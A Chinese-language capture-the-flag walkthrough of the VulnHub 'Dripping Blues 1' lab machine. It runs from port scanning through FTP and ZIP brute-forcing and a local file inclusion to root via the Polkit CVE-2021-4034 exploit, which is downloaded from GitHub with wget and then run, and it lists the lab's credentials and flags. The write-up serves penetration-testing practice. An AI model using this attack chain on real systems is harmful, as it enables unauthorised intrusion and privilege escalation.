环境准备
靶机下载
https://www.vulnhub.com/entry/dripping-blues-1,744/
Kali攻击机-(IP:192.168.75.143)
目标靶机-(IP:192.168.75.142)
环境配置
该靶机为Ubuntu操作系统,官方不提供登录用户名及口令。但目标靶机在默认状态下IP地址为DHCP自动获取,在虚拟 机中运行可将Kali和靶机设置为NAT模式,使其处于互通的同一网段下。
由于目标靶机目前无法登录查看自动分配的IP,我们在Kali攻击机中扫描同网段资产,探测目标靶机的IP地址。arp-scan -l
一、信息收集
1.端口扫描信息
使用namp扫描目标靶机IP的开放端口信息。
nmap -p- -sV 192.168.75.142 //-p-默认扫描所有端口;-sV显示存活端口的服务/版本信息
[扫描发现靶机开放了21、22和80端口]
nmap -A -p 1-65535 192.168.75.142 //-A 综合扫描选项;-p设置要扫描的端口范围
1.1 22端口
[SSH组件信息:OpenSSH 8.2p1]
1.2 21端口
[FTP组件信息:vsftpd 3.0.3]
前面通过使用nmap综合扫描选项,发现靶机上的ftp服务使用vsftpd工具部署(匿名访问vsftp服务器时,可用anonymous或ftp登录,密码任意),匿名登录后发现名为respectmydrip.zip权限为777的压缩包。
下载FTP目录中的文件ftp 192.168.75.142 //ftp连接目标主机
ftp //用户名为ftp,也可使用anonymous
ls -la //列出当前目录中的文件,并显示权限
get respectmydrip.zip //下载ftp目录下的文件
解压ZIP提示需输入密码
ZIP压缩包密码穷举见下文(二、穷举爆破->ZIP压缩密码)
1.3 80端口
[Web中间件信息:Apache httpd 2.4.41]
通过访问80端口的web页面,得知该web站点被入侵过,入侵者署名travisscott和thugger。
通过nmap综合扫描选项,发现该web站点根目录存在robots.txt文件,拒绝爬取的路径有两个。/dripisreal.txt
/etc/dripispowerful.html
访问dripisreal.txt,文本中写到欢迎亲爱的黑客字样,并且给出了获取SSH的密码的方法:大意为打开指定的歌词链接(https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html ) ,将单词并列拼接,然后计算出的md5值即ssh密码。 然后还提供了示例hellohellohellohello >> md5sum hellohellohellohello
打开歌词的URL后发现单词量是真不少,看起来多少有点扯,假设这不是靶场环境,能将该文件放在服务器中的,除了网站管理员就是入侵者了,管理员没有必要将正确的ssh密码告诉黑客除非这是个圈套,如果是入侵者它肯定不希望自己拿下的成果被其他人掠夺,那么此处提示让入侵者去算单词并列的md5,最可能的目的是为了扰乱其他入侵者的思路,拖延时间,从而为继续扩大自己的攻击成果争取有利条件。所以我们先暂且跳过这个疑似圈套的dripisreal.txt,从其他方面着手尝试。
再分析下robots.txt中另一条防爬规则 /etc/dripispowerful.html,莫名其妙来个/etc/开头的路径,有两种猜测一种是源码所在的子目录中有“etc”文件夹,另一种猜测是这个“etc”就是存放linux操作系统配置的etc目录,访问该路径/etc/dripispowerful.html,报错文件不存在,至少可以排除掉第一种猜测,个人关于第二种猜测的理解,一般出现在robots.txt文件中的路径基本上都是可以访问的,只是管理员不想让搜索引擎、爬虫工具爬取/etc路径下的文件,所以我们需要找的是通过web访问该文件的方法,第一时间想到的就是本地文件包含了。
此处见:“三、漏洞利用 本地文件包含漏洞”
2.目录扫描信息
除了扫到index.php和robots.txt,再无其他有价值信息
3.操作系统信息
{以下内容在获取到thugger用户权限后,登录操作系统进行收集,获取thugger用户密码见下文“本地文件包含漏洞”}
操作系统发行版本号:Ubuntu 20.04.1
操作系统内核版本号:Linux 5.11.0-34
Sudo组件版本号:1.8.31
gcc及make环境不支持
python版本号:3.8.2
二、穷举爆破
FTP-21端口
其他获得ftp身份鉴别信息方法:
【Metasploit来对FTP用户名口令穷举爆破】
msfconsole //打开Kali终端类型
ftp_login //搜索ftp穷举模块
use 0 //选用模块
show opeions //显示当前可设置参数
set rhosts 192.168.75.142 //设置目标主机IP
set user_file /root/ftpuser.txt //设置自定义ftp用户名字典文件路径
set pass_file /root/ftppass.txt //设置自定义ftp密码字典文件路径
run //run开始穷举,参数exploit与run相同
ZIP压缩密码
使用fcrackzip工具对加密ZIP文件穷举爆破,得到密码072528035fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip
PS:-D 使用字典模式;-p选择字典文件(rockyou.txt为fcrackzip默认字典文件);-u加密的zip文件
解压ZIP文件后,得到respectmydrip.txt和secret.zip,对secret.zip继续解压还需要解压密码,字典先让跑着,我们继续往下。
查看另一个respectmydrip.txt文件,提示关键词drip。
三、漏洞利用
Web部分
【本地文件包含漏洞】
常见的本地文件包含格式:/?file=
/xx.php?file=
/xx.php?filename=
尝试各种对象名访问都不对。
然后回想起前面respectmydrip.txt文本中的提示,请关注drip。将对象名file换成drip再次尝试发现可以成功访问到dripispowerful.html该文件,但是html内容已经被篡改了。并且travisscott和thugger又署名留言说到,driftingblues又被攻击了,还留下了一串密码imdrippinbiatch。
--思路梳理--
理一下思路,我们拿到靶机的时候,应该都尝试过想要登录靶机操作系统上去看下,但是它需要登录密码,已记住的用户名显示的是thugger,这和入侵者两次在篡改的web页面中留下的署名一致。所以可以推断我们现在练习的这个靶机系统,原本或许是一个部署并运行有web业务的操作系统,被入侵者攻击后拿到了系统最高权限后,对web站点和操作系统用户做了篡改,致使管理员失去操作系统及web站点的控制权。入侵者给出的这个密码会是登录什么的呢?ftp已经能登录上去了,web没有扫到管理后台访问入口,就只剩下ssh没登录成功过。
查看当前登录用户(可以看到使用的是thugger用户在登录,并且没有root权限)
成功使用thugger/imdrippinbiatch账户口令登录靶机操作系统
ssh thugger@192.168.75.142
登录靶机操作系统后,在home路径下发现user.txt文件,内容为一段MD55C50FC503A2ABE93B4C5EE3425496521
MD5值解密后为toomanydrip
四、权限提升
通过收集靶机的操作系统信息,符合利用条件的提权漏洞有:
Linux DirtyPipe权限提升漏洞 CVE-2022-0847 (需满足Linux内核 5.8 及之后版本)
Linux kernel权限提升漏洞 CVE-2021-3493(需满足Ubuntu 20.04 LTS)
Linux sudo权限提升漏洞 CVE-2021-3156(需满足Sudo 1.8.2 - 1.8.31p2)
Linux Polkit权限提升漏洞 CVE-2021-4034(需满足2009年5月至今发布的所有Polkit 版本)
但是由于系统环境中无make和gcc组件,导致大部分满足条件的提权漏洞无法利用。
通过进程筛查,发现存在polkit组件并且在运行,而polkit对环境要求不高,正好可以利用已有的python环境去运行POC。
基本目前除了最新版的Polkit修复了该漏洞,其他版本都可以提权,可利用版本的范围极大。(https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py)
wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip unzip master.zip
cd CVE-2021-4034-master/
python3 cve2021-4034.py
提权成功!whoami //显示当前用户权限为root
浏览root目录下,又发现了一个名为root.txt的文件,内容为MD5值:78CE377EF7F10FF0EDCA63DD60EE63B8
不过该MD5值明文内容未解出,不过现在看来Flag应该就是user.txt和root.txt里的MD5值了,同时回顾下前面歌词计算MD5值的操作,经过验证使用78CE377EF7F10FF0EDCA63DD60EE63B8MD5值,作为SSH登录密码进行尝试登录,但是没有登录成功,之后又通过各种单词拼接计算MD5值后,作为密码都无法登录,计算歌词那块多半是个坑了。